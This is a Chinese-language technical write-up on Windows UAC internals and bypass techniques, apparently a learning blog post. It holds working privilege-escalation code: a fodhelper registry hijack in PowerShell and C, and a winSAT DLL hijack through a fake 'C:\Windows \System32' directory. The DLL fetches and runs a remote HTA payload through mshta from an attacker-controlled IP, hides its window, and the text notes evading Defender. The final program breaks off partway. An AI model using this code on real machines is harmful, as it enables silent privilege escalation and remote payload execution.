UAC Bypass 技術學習
UAC(User Account Control,用戶帳戶控制)是微軟公司為了提高Windows系統安全性而在 Windows Vista 中引入的一種新型安全技術,它要求用戶在執行某些可能會影響計算機運行的操作或更改其他用戶設置的操作之前,向系統申請權限或提供管理員?密碼。
通過在這些操作啟動前對其進行驗證,UAC 可以幫助防止惡意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝或對計算機進行更改。

用戶賬戶
Windows 中有多種不同的賬戶,包括:
- SYSTEM
- Administrators 用戶組
- Administrator
- 管理員賬戶
- Users 用戶組
- 標準賬戶
完整性級別表示正在運行的應用程序進程和對象的可信度。它使文件系統能夠使用預定義的策略來阻止較低完整性級別的進程讀取或修改較高完整性的對象。從 Windows Vista 開始,進程在創建的時候,可以得到一個訪問令牌(Access Token),令牌有四個完整性級別:
- System(系統)
- High(高)
- Medium(中)
- Low(低)
對應關系如下:

1、System 令牌是對系統完全操作的令牌,對應 SYSTEM,擁有的最高權限。提升的應用程序以 High 完整性級別運行,普通進程以 Medium 完整性級別運行,低權限進程以 Low 完整性級別運行。
2、在 Administrators 組中,Administrator 賬戶和普通管理員賬戶要分開說。普通管理員賬戶下,正常啟動進程使用的是繼承自 explorer.exe 的 Medium 訪問令牌,當進程需要提升權限時,會彈出 UAC 提示框來啟動一個子進程以獲得 High 令牌。而 Administrator 賬戶下,正常啟動的進程也都獲得了 High 令牌。
3、Users 組的用戶沒有 High 和 System 令牌,如果要權限提升,需要輸入管理員賬號密碼,而這時拿到的是這個管理員賬號的 High 令牌。

例:直接運行 CMD 和以管理員權限運行 CMD 的進程完整性級別分別為 Medium 和 High。

更多資料:
https://blog.walterlv.com/post/windows-user-account-control.html
https://blog.walterlv.com/post/requested-execution-level-of-application-manifest
那進程如何獲得 High 令牌呢?UAC 提示流程又是什么樣子的?
AIS 服務:處理提升請求
當出現提升程序的請求時,AIS (appinfo.dll) 將進行校驗程序是否滿足提升的條件,主要看一下 AiIsEXESafeToAutoApprove 函數。以下 2 種情況可能不需要彈 UAC 對話框自動提升至管理員權限:
1、程序配置為自動提升
如果程序中配置了 autoElevate 為 true,會嘗試自動提升。

2、白名單
判斷要執行的程序是否屬于白名單,在白名單之內就調用 AipIsValidAutoApprovalEXE 函數檢查程序簽名等信息,如果不在就基本結束這個函數了。

白名單列表:
'cttunesvr.exe'、'inetmgr.exe'、'migsetup.exe'、'mmc.exe'、'oobe.exe'、'pkgmgr.exe'、'provisionshare.exe'、'provisionstorage.exe'、'spinstall .exe','winsat.exe'

滿足這兩個條件的情況可能會直接提升,先看看配置了 autoElevate 的程序。
strings.exe -s *.exe | findstr /i "autoElevate" //應該不全C:\Windows\System32\BitLockerWizardElev.exe: trueC:\Windows\System32\bthudtask.exe: trueC:\Windows\System32\changepk.exe: trueC:\Windows\System32\cleanmgr.exe: trueC:\Windows\System32\ComputerDefaults.exe: trueC:\Windows\System32\dccw.exe: trueC:\Windows\System32\dcomcnfg.exe: trueC:\Windows\System32\DeviceEject.exe: trueC:\Windows\System32\DeviceProperties.exe: trueC:\Windows\System32\dfrgui.exe: trueC:\Windows\System32\djoin.exe: trueC:\Windows\System32\easinvoker.exe: trueC:\Windows\System32\EASPolicyManagerBrokerHost.exe: trueC:\Windows\System32\eudcedit.exe: trueC:\Windows\System32\eventvwr.exe: trueC:\Windows\System32\fodhelper.exe: trueC:\Windows\System32\fsavailux.exe: trueC:\Windows\System32\fsquirt.exe: trueC:\Windows\System32\FXSUNATD.exe: trueC:\Windows\System32\immersivetpmvscmgrsvr.exe: trueC:\Windows\System32\iscsicli.exe: trueC:\Windows\System32\iscsicpl.exe: trueC:\Windows\System32\lpksetup.exe: trueC:\Windows\System32\MdSched.exe: trueC:\Windows\System32\MSchedExe.exe: trueC:\Windows\System32\msconfig.exe: trueC:\Windows\System32\msdt.exe: trueC:\Windows\System32\msra.exe: trueC:\Windows\System32\MultiDigiMon.exe: trueC:\Windows\System32\Netplwiz.exe: trueC:\Windows\System32ewdev.exe: trueC:\Windows\System32\odbcad32.exe: trueC:\Windows\System32\OptionalFeatures.exe: trueC:\Windows\System32\PasswordOnWakeSettingFlyout.exe: trueC:\Windows\System32\perfmon.exe: trueC:\Windows\System32\printui.exe: trueC:\Windows\System32\rdpshell.exe: trueC:\Windows\System32\recdisc.exe: trueC:\Windows\System32\rrinstaller.exe: trueC:\Windows\System32\rstrui.exe: trueC:\Windows\System32\sdclt.exe: trueC:\Windows\System32\shrpubw.exe: trueC:\Windows\System32\slui.exe: trueC:\Windows\System32\SndVol.exe: trueC:\Windows\System32\SystemPropertiesAdvanced.exe: trueC:\Windows\System32\SystemPropertiesComputerName.exe: trueC:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe: trueC:\Windows\System32\SystemPropertiesHardware.exe: trueC:\Windows\System32\SystemPropertiesPerformance.exe: trueC:\Windows\System32\SystemPropertiesProtection.exe: trueC:\Windows\System32\SystemPropertiesRemote.exe: trueC:\Windows\System32\systemreset.exe: trueC:\Windows\System32\SystemSettingsAdminFlows.exe: trueC:\Windows\System32\SystemSettingsRemoveDevice.exe: trueC:\Windows\System32\Taskmgr.exe: trueC:\Windows\System32\tcmsetup.exe: trueC:\Windows\System32\TpmInit.exe: trueC:\Windows\System32\WindowsUpdateElevatedInstaller.exe: trueC:\Windows\System32\WSReset.exe: trueC:\Windows\System32\wusa.exe: true
這里有個熟悉的程序:任務管理器(Taskmgr.exe),以 High 級別運行,仔細回憶一下,啟動任務管理器的過程中并沒有出現 UAC 彈窗:

manifest(清單)是伴隨并描述并行程序集或獨立應用程序的 XML 文件。清單通過程序集的 assemblyIdentity 元素唯一標識程序集。它們包含用于綁定和激活的信息,例如 COM 類、接口和類型庫,這些信息傳統上存儲在注冊表中。以下為使用命令 mt -inputresource:Taskmgr.exe;#1 -out:taskmgr.manifest 從 Taskmgr.exe 中提取出的 manifest 文件:
Task Manager true true
但如果將 Taskmgr.exe 復制到桌面,直接運行該程序,就會發現還是會出現 UAC 彈窗。這又引出自動提升程序需要滿足的一個關鍵條件:從受信任目錄執行。無論是 manifest 文件中設置了 autoElevate true,還是白名單列表判斷,都需要 v13 的第 0x16 個比特位(index 從 0 開始計算)為 1 才行,這是一個前置條件。

v13 中的值從 a4 中取到,我們可以看一下它(AiIsEXESafeToAutoApprove)的上層函數 RAiLaunchAdminProcess,在下面的邏輯里會將目標程序字符串和 g_IncludedSysDir 進行比較,利用 RtlPrefixUnicodeString 和 wcschr 函數來判斷目標程序是否在 \??\C:\Windows\System32\ 或 \??\C:\Windows\SysWow64\ 目錄下,這兩個目錄是受信任的目錄,如果滿足條件,才會設置 flag 的第 0x16 個比特位(0x200000)。

不過還有兩種特殊情況,是 g_IncludedXmtExe 中存儲的 \??\C:\Windows\System32\Sysprep\sysprep.exe 以及 \??\C:\Windows\System32\inetsrv\InetMgr.exe,如果是這兩個路徑下的程序,且通過 AipMatchesOriginalFileName 函數檢查(通過比較文件版本信息里的 OriginalFilename 來判斷程序名字是否更改過),即使它們不是直接位于 System32 或 SysWow64 目錄下,也會跳轉到 LABEL_364 標簽,設置 flag 的第 0x16 個比特位。

?

文件版本信息(以 sysprep.exe 為例):
處理示例:https://docs.microsoft.com/en-us/windows/win32/api/winver/nf-winver-verqueryvaluea

0:023> db 01e2`85b73730 l72c // O.r.i.g.i.000001e2`85b73730 94 03 34 00 00 00 56 00-53 00 5f 00 56 00 45 00 ..4...V.S._.V.E.000001e2`85b73740 52 00 53 00 49 00 4f 00-4e 00 5f 00 49 00 4e 00 R.S.I.O.N._.I.N.000001e2`85b73750 46 00 4f 00 00 00 00 00-bd 04 ef fe 00 00 01 00 F.O.............000001e2`85b73760 00 00 0a 00 ea 02 61 4a-00 00 0a 00 ea 02 61 4a ......aJ......aJ000001e2`85b73770 3f 00 00 00 00 00 00 00-04 00 04 00 01 00 00 00 ?...............000001e2`85b73780 00 00 00 00 00 00 00 00-00 00 00 00 f2 02 00 00 ................000001e2`85b73790 01 00 53 00 74 00 72 00-69 00 6e 00 67 00 46 00 ..S.t.r.i.n.g.F.000001e2`85b737a0 69 00 6c 00 65 00 49 00-6e 00 66 00 6f 00 00 00 i.l.e.I.n.f.o...000001e2`85b737b0 ce 02 00 00 01 00 30 00-34 00 30 00 39 00 30 00 ......0.4.0.9.0.000001e2`85b737c0 34 00 42 00 30 00 00 00-4c 00 16 00 01 00 43 00 4.B.0...L.....C.000001e2`85b737d0 6f 00 6d 00 70 00 61 00-6e 00 79 00 4e 00 61 00 o.m.p.a.n.y.N.a.000001e2`85b737e0 6d 00 65 00 00 00 00 00-4d 00 69 00 63 00 72 00 m.e.....M.i.c.r.000001e2`85b737f0 6f 00 73 00 6f 00 66 00-74 00 20 00 43 00 6f 00 o.s.o.f.t. .C.o.000001e2`85b73800 72 00 70 00 6f 00 72 00-61 00 74 00 69 00 6f 00 r.p.o.r.a.t.i.o.000001e2`85b73810 6e 00 00 00 58 00 18 00-01 00 46 00 69 00 6c 00 n...X.....F.i.l.000001e2`85b73820 65 00 44 00 65 00 73 00-63 00 72 00 69 00 70 00 e.D.e.s.c.r.i.p.000001e2`85b73830 74 00 69 00 6f 00 6e 00-00 00 00 00 53 00 79 00 t.i.o.n.....S.y.000001e2`85b73840 73 00 74 00 65 00 6d 00-20 00 50 00 72 00 65 00 s.t.e.m. .P.r.e.000001e2`85b73850 70 00 61 00 72 00 61 00-74 00 69 00 6f 00 6e 00 p.a.r.a.t.i.o.n.000001e2`85b73860 20 00 54 00 6f 00 6f 00-6c 00 00 00 6c 00 26 00 .T.o.o.l...l.&.000001e2`85b73870 01 00 46 00 69 00 6c 00-65 00 56 00 65 00 72 00 ..F.i.l.e.V.e.r.000001e2`85b73880 73 00 69 00 6f 00 6e 00-00 00 00 00 31 00 30 00 s.i.o.n.....1.0.000001e2`85b73890 2e 00 30 00 2e 00 31 00-39 00 30 00 34 00 31 00 ..0...1.9.0.4.1.000001e2`85b738a0 2e 00 37 00 34 00 36 00-20 00 28 00 57 00 69 00 ..7.4.6. .(.W.i.000001e2`85b738b0 6e 00 42 00 75 00 69 00-6c 00 64 00 2e 00 31 00 n.B.u.i.l.d...1.000001e2`85b738c0 36 00 30 00 31 00 30 00-31 00 2e 00 30 00 38 00 6.0.1.0.1...0.8.000001e2`85b738d0 30 00 30 00 29 00 00 00-38 00 0c 00 01 00 49 00 0.0.)...8.....I.000001e2`85b738e0 6e 00 74 00 65 00 72 00-6e 00 61 00 6c 00 4e 00 n.t.e.r.n.a.l.N.000001e2`85b738f0 61 00 6d 00 65 00 00 00-73 00 79 00 73 00 70 00 a.m.e...s.y.s.p.000001e2`85b73900 72 00 65 00 70 00 2e 00-45 00 58 00 45 00 00 00 r.e.p...E.X.E...000001e2`85b73910 80 00 2e 00 01 00 4c 00-65 00 67 00 61 00 6c 00 ......L.e.g.a.l.000001e2`85b73920 43 00 6f 00 70 00 79 00-72 00 69 00 67 00 68 00 C.o.p.y.r.i.g.h.000001e2`85b73930 74 00 00 00 a9 00 20 00-4d 00 69 00 63 00 72 00 t..... .M.i.c.r.000001e2`85b73940 6f 00 73 00 6f 00 66 00-74 00 20 00 43 00 6f 00 o.s.o.f.t. .C.o.000001e2`85b73950 72 00 70 00 6f 00 72 00-61 00 74 00 69 00 6f 00 r.p.o.r.a.t.i.o.000001e2`85b73960 6e 00 2e 00 20 00 41 00-6c 00 6c 00 20 00 72 00 n... .A.l.l. .r.000001e2`85b73970 69 00 67 00 68 00 74 00-73 00 20 00 72 00 65 00 i.g.h.t.s. .r.e.000001e2`85b73980 73 00 65 00 72 00 76 00-65 00 64 00 2e 00 00 00 s.e.r.v.e.d.....000001e2`85b73990 40 00 0c 00 01 00 4f 00-72 00 69 00 67 00 69 00 @.....O.r.i.g.i.000001e2`85b739a0 6e 00 61 00 6c 00 46 00-69 00 6c 00 65 00 6e 00 n.a.l.F.i.l.e.n.000001e2`85b739b0 61 00 6d 00 65 00 00 00-73 00 79 00 73 00 70 00 a.m.e...s.y.s.p.000001e2`85b739c0 72 00 65 00 70 00 2e 00-45 00 58 00 45 00 00 00 r.e.p...E.X.E...000001e2`85b739d0 6a 00 25 00 01 00 50 00-72 00 6f 00 64 00 75 00 j.%...P.r.o.d.u.000001e2`85b739e0 63 00 74 00 4e 00 61 00-6d 00 65 00 00 00 00 00 c.t.N.a.m.e.....000001e2`85b739f0 4d 00 69 00 63 00 72 00-6f 00 73 00 6f 00 66 00 M.i.c.r.o.s.o.f.000001e2`85b73a00 74 00 ae 00 20 00 57 00-69 00 6e 00 64 00 6f 00 t... .W.i.n.d.o.000001e2`85b73a10 77 00 73 00 ae 00 20 00-4f 00 70 00 65 00 72 00 w.s... .O.p.e.r.000001e2`85b73a20 61 00 74 00 69 00 6e 00-67 00 20 00 53 00 79 00 a.t.i.n.g. .S.y.000001e2`85b73a30 73 00 74 00 65 00 6d 00-00 00 00 00 42 00 0f 00 s.t.e.m.....B...000001e2`85b73a40 01 00 50 00 72 00 6f 00-64 00 75 00 63 00 74 00 ..P.r.o.d.u.c.t.000001e2`85b73a50 56 00 65 00 72 00 73 00-69 00 6f 00 6e 00 00 00 V.e.r.s.i.o.n...000001e2`85b73a60 31 00 30 00 2e 00 30 00-2e 00 31 00 39 00 30 00 1.0...0...1.9.0.000001e2`85b73a70 34 00 31 00 2e 00 37 00-34 00 36 00 00 00 00 00 4.1...7.4.6.....000001e2`85b73a80 44 00 00 00 01 00 56 00-61 00 72 00 46 00 69 00 D.....V.a.r.F.i.000001e2`85b73a90 6c 00 65 00 49 00 6e 00-66 00 6f 00 00 00 00 00 l.e.I.n.f.o.....000001e2`85b73aa0 24 00 04 00 00 00 54 00-72 00 61 00 6e 00 73 00 $.....T.r.a.n.s.000001e2`85b73ab0 6c 00 61 00 74 00 69 00-6f 00 6e 00 00 00 00 00 l.a.t.i.o.n.....000001e2`85b73ac0 09 04 b0 04 46 45 32 58-49 44 7c 30 30 31 2e 35 ....FE2XID|001.5000001e2`85b73ad0 00 00 4e 61 6d 65 00 08-40 00 00 03 00 0c 00 00 ..Name..@.......000001e2`85b73ae0 00 00 00 00 00 41 00 00-00 0a 00 00 80 03 08 00 .....A..........000001e2`85b73af0 00 00 f7 02 00 00 03 00-00 80 02 0b 00 00 00 ff ................000001e2`85b73b00 ff 01 00 00 80 13 0b 00-00 00 ff ff ff 02 00 00 ................000001e2`85b73b10 02 08 00 00 00 09 03 00-00 0f 03 00 00 02 08 20 ...............000001e2`85b73b20 00 00 1f 03 00 00 00 73-74 72 69 6e 67 00 00 4f .......string..O000001e2`85b73b30 76 65 72 72 69 64 65 00-00 4e 61 6d 65 00 00 4d verride..Name..M000001e2`85b73b40 61 70 70 69 6e 67 53 74-72 69 6e 67 73 00 01 00 appingStrings...000001e2`85b73b50 00 00 27 03 00 00 00 57-4d 49 00 00 50 65 61 6b ..'....WMI..Peak000001e2`85b73b60 55 73 61 67 65 00 13 00-00 00 07 00 1c 00 00 00 Usage...........000001e2`85b73b70 02 00 00 00 29 00 00 00-0a 00 00 80 03 08 00 00 ....)...........000001e2`85b73b80 00 6e 03 00 00 03 00 00-80 02 0b 00 00 00 ff ff .n..............000001e2`85b73b90 76 03 00 00 02 08 20 00-00 86 03 00 00 00 75 69 v..... .......ui000001e2`85b73ba0 6e 74 33 32 00 00 4d 61-70 70 69 6e 67 53 74 72 nt32..MappingStr000001e2`85b73bb0 69 6e 67 73 00 01 00 00-00 8e 03 00 00 00 57 4d ings..........WM000001e2`85b73bc0 49 00 00 53 74 61 74 75-73 00 08 40 00 00 04 00 I..Status..@....000001e2`85b73bd0 10 00 00 00 00 00 00 00-36 00 00 00 0a 00 00 80 ........6.......000001e2`85b73be0 23 08 00 00 00 df 03 00-00 03 00 00 80 22 0b 00 #............"..000001e2`85b73bf0 00 00 ff ff e7 03 00 00-22 03 00 00 00 0a 00 00 ........".......000001e2`85b73c00 00 ef 03 00 00 22 08 20-00 00 f9 03 00 00 00 73 .....". .......s000001e2`85b73c10 74 72 69 6e 67 00 00 4d-61 78 4c 65 6e 00 00 56 tring..MaxLen..V000001e2`85b73c20 61 6c 75 65 4d 61 70 00-0c 00 00 00 2d 04 00 00 alueMap.....-...000001e2`85b73c30 31 04 00 00 38 04 00 00-42 04 00 00 4b 04 00 00 1...8...B...K...000001e2`85b73c40 56 04 00 00 60 04 00 00-6a 04 00 00 73 04 00 00 V...`...j...s...000001e2`85b73c50 7d 04 00 00 89 04 00 00-95 04 00 00 00 4f 4b 00 }............OK.000001e2`85b73c60 00 45 72 72 6f 72 00 00-44 65 67 72 61 64 65 64 .Error..Degraded000001e2`85b73c70 00 00 55 6e 6b 6e 6f 77-6e 00 00 50 72 65 64 20 ..Unknown..Pred000001e2`85b73c80 46 61 69 6c 00 00 53 74-61 72 74 69 6e 67 00 00 Fail..Starting..000001e2`85b73c90 53 74 6f 70 70 69 6e 67-00 00 53 65 72 76 69 63 Stopping..Servic000001e2`85b73ca0 65 00 00 53 74 72 65 73-73 65 64 00 00 4e 6f 6e e..Stressed..Non000001e2`85b73cb0 52 65 63 6f 76 65 72 00-00 4e 6f 20 43 6f 6e 74 Recover..No Cont000001e2`85b73cc0 61 63 74 00 00 4c 6f 73-74 20 43 6f 6d 6d 00 00 act..Lost Comm..000001e2`85b73cd0 54 65 6d 70 50 61 67 65-46 69 6c 65 00 0b 00 00 TempPageFile....000001e2`85b73ce0 00 08 00 20 00 00 00 02-00 00 00 29 00 00 00 0a ... .......)....000001e2`85b73cf0 00 00 80 03 08 00 00 00-e5 04 00 00 03 00 00 80 ................000001e2`85b73d00 02 0b 00 00 00 ff ff ee-04 00 00 02 08 20 00 00 ............. ..000001e2`85b73d10 fe 04 00 00 00 62 6f 6f-6c 65 61 6e 00 00 4d 61 .....boolean..Ma000001e2`85b73d20 70 70 69 6e 67 53 74 72-69 6e 67 73 00 01 00 00 ppingStrings....000001e2`85b73d30 00 06 05 00 00 00 57 69-6e 33 32 52 65 67 69 73 ......Win32Regis000001e2`85b73d40 74 72 79 7c 53 79 73 74-65 6d 5c 43 75 72 72 65 try|System\Curre000001e2`85b73d50 6e 74 43 6f 6e 74 72 6f-6c 53 65 74 5c 43 6f 6e ntControlSet\Con000001e2`85b73d60 74 72 6f 6c 5c 53 65 73-73 69 6f 6e 20 4d 61 6e trol\Session Man000001e2`85b73d70 61 67 65 72 5c 4d 65 6d-6f 72 79 20 4d 61 6e 61 ager\Memory Mana000001e2`85b73d80 67 65 6d 65 6e 74 7c 54-65 6d 70 50 61 67 65 46 gement|TempPageF000001e2`85b73d90 69 6c 65 00 00 00 00 00-00 00 00 00 00 00 00 00 ile.............000001e2`85b73da0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73db0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73dc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73dd0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73de0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73df0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73e00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73e10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73e20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73e30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73e40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................000001e2`85b73e50 00 00 00 00 00 00 00 00-00 00 00 00 ............
按照目前的邏輯,我們的程序從受信任目錄執行,且配置了 autoElevate 為 true,就可以進入第一種流程。先編寫一個簡單的程序,比如彈個 CMD,使用 VS 編譯程序的時候加入 manifest,指定 requireAdministrator 級別,表示需要獲得權限提升,如下:

使用命令 mt -inputresource:test.exe;#1 -out:test.manifest 從 Taskmgr.exe 中提取 manifest 文件,加入 autoElevate 后使用:
true true
加入 manifest:mt.exe -manifest test.manifest -outputresource:test.exe;1,好的,果然失敗了:

// 這里還有一個關鍵函數,可以定位到這里有問題,如果驗證正常的話,Reply應該是返回 0 的,失敗就會返回錯誤代碼Reply = AiCheckLUA(v155, (int *)&a4a, v148, v150, v80, (__int64)v79, (__int64)v192, v78, a11, (__int64 *)&v163);
//經過測試,AiLaunchConsentUI 和 AiCheckLUA 函數都返回了錯誤值 0x202bappinfo!AiLaunchConsentUI+0x518:00007ffc`9c3d78b8 e8e3d0ffff call appinfo!AiLaunchProcess (00007ffc`9c3d49a0)0:021> guappinfo!AiCheckLUA+0x343:00007ffc`9c3d7203 488b7c2468 mov rdi,qword ptr [rsp+68h] ss:000000e3`8a27e698=00000000000000000:021> guappinfo!RAiLaunchAdminProcess+0xbe2:00007ffc`9c3d68a2 894584 mov dword ptr [rbp-7Ch],eax ss:000000e3`8a27e8b4=000000000:021> r raxrax=000000000000202b
// 實際上在下面這段代碼出現了錯誤,AiLaunchProcess 會調用 CreateProcessAsUserW 函數創建 consent 進程,但最終出現了錯誤// AiLaunchConsentUI 函數if ( !v9 ) { ExitCode = AiLaunchProcess( 0i64, token, 0i64, 0x1000080u, 0i64, Dst, 0x400u, 0i64, pszDesktop, 0i64, a5, 0i64, 0, 0i64, 0i64, 0i64, (struct _PROCESS_INFORMATION *)hThread);// 0:035> dt _PROCESS_INFORMATION e3`8bcfe370 // Windows_Web!_PROCESS_INFORMATION // +0x000 hProcess : 0x00000000`00001a3c Void // +0x008 hThread : 0x00000000`00001420 Void // +0x010 dwProcessId : 0x160c //pid 5644 // +0x014 dwThreadId : 0x12d0 v9 = ExitCode; if ( !ExitCode ) { ExitCode = AipVerifyConsent(hThread[0]); // 驗證 consent 進程 v9 = ExitCode; if ( !ExitCode ) { ResumeThread(hThread[1]); // 恢復執行 consent ExitCode = WaitForSingleObject(hThread[0], dwMilliseconds);// 等待 v9 = ExitCode; if ( !ExitCode ) { if ( !GetExitCodeProcess(hThread[0], &ExitCode) )// 這里取出錯誤代碼
雖然程序在 AiIsEXESafeToAutoApprove 函數校驗中通過了,但在后續傳遞給 consent.exe 程序進行處理的過程中出現了問題,還是需要再分析一下。
下面開始介紹成熟的 Bypass 技巧。
一、通過注冊表劫持 Bypass UAC
參考:https://medium.themayor.tech/utilizing-a-common-windows-binary-to-escalate-to-system-privileges-c16482cced4b
目標程序:Fodhelper
注冊表鍵值:HKCU\Software\Classes\ms-settings\shell\open\command
利用思路:添加注冊表鍵值 HKCU\Software\Classes\ms-settings\shell\open\command,設置其 value 為需要執行的程序路徑或命令;添加 HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute(修改 HKCU 下的鍵值只需要普通用戶權限)。這樣程序啟動后會執行 HKCU\Software\Classes\ms-settings\shell\open\command 中的內容,從而繞過 UAC 彈窗。
簡單分析:
可以發現,fodhelper.exe 在 manifest 中配置了 autoElevate 為 True,并且運行之后沒有彈窗。
strings.exe -s *.exe | findstr /i "autoElevate"......C:\Windows\System32\fodhelper.exe: true
使用 ProcessMonitor 監控,發現程序確實去訪問 HKCU\Software\Classes\ms-settings\shell\open\command,不過默認情況下這個鍵值是不存在的,仔細看前面記錄會發現 HKCU\Software\Classes\ms-settings 也是不存在的。

先創建 HKCU\Software\Classes\ms-settings\shell\open\command 項:
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
然后再次監控 fodhelper 運行,如果存在 HKCU\Software\Classes\ms-settings\shell\open\command,還會去查詢 HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute

同樣,再創建 HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute 試一下:
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
可以發現,程序在成功查詢到 HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute 后會去查詢 HKCU\Software\Classes\ms-settings\shell\open\command\command 或 HKCU\Software\Classes\ms-settings\shell\open\command\(Default),事實證明它們是一樣的。

這里我們來設置 HKCU\Software\Classes\ms-settings\shell\open\command\command 吧,將其設置為 cmd.exe。嗯。。。Defender 會檢測到,但可以寫入注冊表,雖然過一會兒就被刪了。
[String]$program = "cmd /c start cmd.exe"New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
不過,利用這段時間啟動 fodhelper 還是可以成功的 ~

如果設置的 HKCU\Software\Classes\ms-settings\shell\open\command 中不包含敏感字符,Defender 就不會檢測到,不會彈出提示,也不會刪除鍵值:
如果有時間,還可以看一下其他程序有沒有類似問題 ~
C 代碼:
#include #include
int main(int argc, char* argv[]) { PROCESS_INFORMATION pi = { 0 }; STARTUPINFOA si = { 0 }; HKEY hKey;
si.cb = sizeof(STARTUPINFO); RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey); RegSetValueExA(hKey, "", 0, REG_SZ, (LPBYTE)"cmd /c start cmd.exe", strlen("cmd /c start cmd.exe")); RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof("")); CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi); Sleep(5000); RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");
return 0;}
二、通過 DLL 劫持 Bypass UAC
參考https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
目標程序:winSAT.exe
DLL:winmm.dll
利用思路:使用 CreateDirectory API 創建 "C:\Windows \System32" 目錄("Windows" 后面有空格)繞過 Appinfo.dll (AIS) 中 RtlPrefixUnicodeString 函數中的可信目錄的檢查。將目標程序復制到此目錄,偽造 DLL,利用 DLL 加載順序使目標程序加載偽造的 DLL 執行任意代碼,從而繞過 UAC 彈窗提示
簡單分析:
先看一下 DLL 加載順序:
- 程序所在目錄
- 系統目錄即 SYSTEM32 目錄
- 16位系統目錄即 SYSTEM 目錄
- Windows目錄
- 程序加載目錄(可通過 SetCurrentDirectory 函數設置)
- PATH 環境變量中列出的目錄
下面是個簡單的例子,TestLoad 加載 onlytest.dll,程序加載目錄是 C:\Users\strawberry,可以發現程序在加載 DLL 的時候會從程序所在目錄開始尋找,然后才會從系統目錄中搜索:

AIS 要求程序從可信目錄中啟動,而這些目錄普通用戶是沒辦法寫入的。但是可以新建 "C:\Windows \System32" 目錄,將白名單程序復制到這個目錄,這樣劫持 DLL 就順理成章了。

winSAT.exe 導入了 winmm.dll 中兩個函數 timeBeginPeriod、timeEndPeriod,偽造的 dll 也要導出這兩個函數。

以下為 dll 實現,偷懶這里直接用 mshta 了(需要關掉 defender)。
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include #include
extern "C" __declspec(dllexport) MMRESULT timeBeginPeriod(UINT);extern "C" __declspec(dllexport) MMRESULT timeEndPeriod(UINT);HMODULE hModule = NULL;
typedef MMRESULT(*FUNC)(UINT);FUNC timeBeginPeriod_ori, timeEndPeriod_ori;
MMRESULT timeBeginPeriod(UINT uPeriod) { FUNC timeBeginPeriod_ori; if (hModule) { timeBeginPeriod_ori = (FUNC)GetProcAddress(hModule, "timeBeginPeriod"); if (timeBeginPeriod_ori) { return timeBeginPeriod_ori(uPeriod); } }}
MMRESULT timeEndPeriod(UINT uPeriod) { FUNC timeEndPeriod_ori; if (hModule) { timeEndPeriod_ori = (FUNC)GetProcAddress(hModule, "timeEndPeriod"); if (timeEndPeriod_ori) { return timeEndPeriod(uPeriod); } }}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH:
STARTUPINFO StartupInfo; PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&StartupInfo, sizeof(StartupInfo)); ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
hModule = LoadLibraryEx(L"C:\\WINDOWS\\System32\\Winmm.dll", NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
system("mshta.exe http://192.168.140.158:8080/bs6tdkm9GWM8KN.hta"); ExitProcess(0);
case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
然后運行 winsat,然后就成功了。不過,運行的時候有個彈窗,可以通過編程隱藏窗口~

以下為最終代碼,原本的版本中創建目錄時使用的是 \\?\C:\Windows \System32,但經測試,直接用 C:\Windows \System32 也是可以成功的。通過 se.nShow = SW_HIDE 使程序運行時隱藏彈窗。
#include "stdafx.h"#include #include "resource.h"
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) { HMODULE hMod = GetModuleHandle(NULL); HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName); DWORD dllSize = SizeofResource(hMod, res); void* dllBuff = LoadResource(hMod, res); HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL); DWORD sizeOut; WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL); CloseHandle(hDll);}
int main(){ _SHELLEXECUTEINFOW se = {}; //Create Mock SystemRoot Directory CreateDirectoryW(L"C:\\Windows \\", 0); CreateDirectoryW(L"C:\\Windows \\System32", 0);
CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"C:\\Windows \\System32\\winSAT.exe", false);
//Drop our dll for hijack DropResource(L"DATA", L"C:\\Windows \\System32\\WINMM.dll");
